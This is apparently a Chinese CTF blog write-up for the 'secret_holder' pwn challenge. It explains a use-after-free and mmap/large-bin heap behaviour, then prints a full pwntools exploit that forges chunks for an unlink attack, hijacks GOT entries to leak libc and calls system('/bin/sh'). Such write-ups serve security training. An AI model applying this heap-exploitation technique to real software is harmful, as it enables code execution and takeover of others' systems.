攻防世界 pwn 进阶 secret_holder_攻防世界secret_holder-程序员宅基地

技术标签: CTF  安全  

进去给了个网站让我自己下载附件,找半天没找到,最终还是嫖了个现成的。

https://pwn-1253291247.cos.ap-chengdu.myqcloud.com/SecretHolder

在这里插入图片描述
看一手保护,PIE没有开,还好,RELRO也没有全开,第一想法可以考虑劫持一手GOT表。

在这里插入图片描述
又是菜单题,主程序简单,且有循环。

在这里插入图片描述程序很简单,三个秘密,然后地址跟flag都在bss段上,分别占了八个跟四个字节。

同时calloc函数跟malloc函数一样,申请空间,区别是calloc函数会把申请到得空间都清零。

在这里插入图片描述

会发现还是老问题了,free后没有清空指针。

先得说一说关于large bin的事情,简单点说,大小从1024开始的堆块就进入了large bin,所以在这道题中,big secret,huge secret 都可以直接进入large bin,在申请堆块的时候当把其它bin找完之后会在large bin里面找,如果申请的size小于它有的size,就会把一个差不多大小的large chunk切开,一块分给申请,一块放在unsorted中。

详细介绍的话这里有篇大佬的博客。

堆漏洞挖掘:04—bins分类(fastbin、unsorted bin、small bin、large bin)

这道题我们用到的最重要的一种思路是当我们的申请chunk大于mmap的分配阈值(32位是128k,64位是256k)的时候,会直接在memory mapings region的地方去申请,释放。当我们释放之后再次申请,就会申请到堆里面来。顺便说一下32位的mmap区域从高地址向低地址方向生长的。

那么我们这道题的思路就是先申请small,big,然后释放掉,再申请huge,释放掉,再申请回来,就会申请到堆里面。而small,big的指针还在,那么就会形成下图的状态。在这里插入图片描述
那么我们因为可以编写huge,我们就可以在huge里面伪造一些chunk,在big下面伪造使用中的堆块,在big上面伪造一个free的chunk,然后通过free堆块big,从而制造unlink,然后对bss段进行控制,从而达到泄露地址等一系列目的。

我们来一步一步调一下试一试。

先是申请huge
在这里插入图片描述
然后释放掉,再申请small,big,释放掉,再把huge申请回来。

在这里插入图片描述

在这里插入图片描述
heap是我们那个huge,然后存放small,big地址的地方的数据就是指向堆的相应的地方。

然后伪造chunk

在这里插入图片描述
然后把big堆块free掉。

然后就可以控制bss那一段了,剩下的就是unlink去解决。

exp

#coding:utf8
from pwn import *

context.log_level = "debug"

r = process('./secret')
elf = ELF('./secret')
huge_secret = 0x6020A8
bss_addr = 0x602090
free_got = elf.got['free']
puts_plt = elf.plt['puts']
read_got = elf.got['read']

libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so")

def new(h_type,content):
   r.sendlineafter('3. Renew secret','1')
   r.sendlineafter('3. Huge secret',str(h_type))
   r.sendlineafter('Tell me your secret:',content)
 
def delete(h_type):
   r.sendlineafter('3. Renew secret','2')
   r.sendlineafter('3. Huge secret',str(h_type))
 
def edit(h_type,content):
   r.sendlineafter('3. Renew secret','3')
   r.sendlineafter('3. Huge secret',str(h_type))
   r.sendafter('Tell me your secret:',content)
 
new(3,'a'*0x100)
new(1,'b'*0x10)
new(2,'c'*0x100)
delete(1)
delete(2)
delete(3)
 
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(huge_secret-0x18) + p64(huge_secret-0x10)
payload = fake_chunk.ljust(0x20,'\x00')
payload += p64(0x20) + p64(0x90) + 'c'*0x80 #chunk2
payload += p64(0x90) + p64(0x81) + 'd'*0x70 #chunk3

payload += p64(0) + p64(0x81)

#最后的这个0x81是在检查chunk3是否free状态的时候需要检查下一个chunk的p位是否为1.所以其实0x11,0x1啥的都行。

new(3,payload)
delete(2)
payload = p64(0) * 2 + p64(free_got) + p64(bss_addr) + p64(read_got) + p32(1)*3
edit(3,payload)
edit(2,p64(puts_plt))
delete(1)
r.recvuntil('\n')
read_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
libc_base = read_addr - libc.sym['read']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
print 'libc_base=',hex(read_addr)
print 'system_addr=',hex(system_addr)

edit(2,p64(system_addr))
edit(3,p64(0) * 2 + p64(binsh_addr))
delete(2)
 
r.interactive()
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/yongbaoii/article/details/112424349

智能推荐

linux vi编辑器 乱码,vi编辑器笔记 + vim乱码的解决-程序员宅基地

文章浏览阅读367次。vi 文件名 进入命令模式命令模式--i、a、o、I、A、O-->插入模式--ESC键-->命令模式i:在光标之前添加文本I:在光标行首添加文本a:在光标之后添加文本A:在光标行末添加文本o:在光标下插入新行O:在光标上插入新行命令模式--:-->编辑模式--回车-->命令模式:set nu 回车设置行号:set nonu 回车取消行号:n 移至文件的第n行:n1,n2d ..._vi unicode乱码

Verilog编程之道-- task 和 function_verilog function可综合吗-程序员宅基地

文章浏览阅读2.8k次。注意:task和function 都是可以综合的,但是有诸多的要求和限制,所以要谨慎使用不同点 1function 不能包含时序控制语句,只能在一个时间单位执行,而task就可以包含时序控制语句 2 function 不能调用task,而task 可以调用function 3 function至少要有一个input参数,不能有output 和 inout 类型参数,而task既可以没有参数,也可以有各种类型参数 4 function..._verilog function可综合吗

poj2386 dfs_poj2386算法思路-程序员宅基地

文章浏览阅读116次。题意:有一个N*M的院子,八连通的积水是认为被连接在一的,求有几个水洼。思路:从每个M开始向八个方向搜,把搜过的M变成.知道搜不到为止。时间复杂度O(8*N*M)Sample Input10 12W........WW..WWW.....WWW....WW...WW..........WW..........W....W......W...W.W.....WW.W.W.W........_poj2386算法思路

Windows Server 配置(七)VPN服务器的安装-程序员宅基地

文章浏览阅读5.2k次。VPN服务器是双网卡或多网卡的配置,一块网卡连接内网,另一块连接外网,同时外网或远程的客户端可以通过建立VPN连接访问到内网资源。两块网卡分别设置好地址,外网网卡的地址是否能做的,或者是在路由器上做NAT需要进一步了解。VPN的配置VPN的配置创建用户以上操作完成后在VPN服务器上就创建了可以远程连接的用户。

Light oj 1045 (求某个数的阶乘在x进制下的位数)_求x进制下的位数-程序员宅基地

文章浏览阅读437次。Digital Of factorialTime Limit:2000MS Memory Limit:32768KB 64bit IO Format:%lld & %lluSubmit Status Practice LightOJ 1045 uDebugDescriptionFactorial of an integer is defi_求x进制下的位数

URDF/COLLADA file is not a valid robot model.解决方法-程序员宅基地

文章浏览阅读1.9k次。URDF/COLLADA file is not a valid robot model.解决方法很多次遇到URDF/COLLADA file is not a valid robot model,是各种各样的错误导致的,写下来希望能对我这样的新手有所帮助。很可能是在打开moveit_setupassistant前,没有打开roscore.1.通过SolidWorks生产URDF文件之后,是不是没有编译? 新建一个文件夹,在文件夹内部创建src文件夹,把SolidWorks生成的URDF文件夹放进sr_urdf/collada file is not a valid robot model.

随便推点

java 连接 sftp失败_关于java调用sftp下载文件报 No such File 错误的问题总结-程序员宅基地

文章浏览阅读2.2k次。/*** 对账文件入库*@paramtyjSaleActrDTOList*@throwsIOException*/private String cmPaymentCheckInsertData(List tyjSaleActrDTOList) throwsIOException {logger.info("====对账文件入库开始========");String flag= "0";Calend..._java new sftp连接失败不抛出异常

python能在excel运行吗-Python:使用Python运行Excel宏-程序员宅基地

文章浏览阅读611次。我需要通过python运行一个Excel宏,我总是会得到以下错误:result = self._oleobj_.InvokeTypes(*(dispid, LCID, wFlags, retType, argTypes) + args)pywintypes.com_error: (-2147352567, 'Exception occurred.', (0, None, None, None, 0..._excel trigger python 环境运行

session入memcache_session 入memcache-程序员宅基地

文章浏览阅读321次。<?phpini_set("session.save_handler", "memcache");ini_set("session.save_path", "tcp://localhost:11211");session_start();header("Content-type:text/html;charset=utf-8");$_SESSION['view'] = 'zhangsan_session 入memcache</div>

创建Tableau Public个人站点_创建tableau站点-程序员宅基地

文章浏览阅读2.4k次。Tableau Public是Tableau的免费版本,所以不能进行本地的保存,只能在Tableau的服务器创建个人的站点,进行可视化图谱的保存,每个用户有 10G的空间,可以进行发布。所以我们需要进行站点注册站点注册注册在Tableau Public的网站进行注册【链接】,点击注册创建配置文件在完善配置文件之后,即可创建个人站点个人中心查看以上,就表示个人站点已经创建成功,在使用Tableau Public创建文件,需要发布可视化图谱之后,即可发布到个人站点。..._创建tableau站点

先访问redis再访问mysql_Redis和MySQL数据一致中出现的几种情况-程序员宅基地

文章浏览阅读476次。1. MySQL持久化数据,Redis只读数据redis在启动之后,从数据库加载数据。读请求:不要求强一致性的读请求,走redis,要求强一致性的直接从mysql读取写请求:数据首先都写到数据库,之后更新redis(先写redis再写mysql,如果写入失败事务回滚会造成redis中存在脏数据)2.MySQL和Redis处理不同的数据类型MySQL处理实时性数据,例如金融数据、交易数据Redis处..._为什么要先从redis里获取数据再数据库

apt 软件安装_aptlite 安装软件-程序员宅基地

文章浏览阅读994次。文章目录一、安装卸载二、配置软件源一、安装卸载对应英文:Advanced Packaging Toolapt 是 Linux 系统中的 安装包管理工具序号命令作用01sudo apt install 软件名安装软件02sudo apt remove 软件名卸载软件03sudo apt uograde升级已安装的软件包二、配置软件源..._aptlite 安装软件

推荐文章

热门文章

相关标签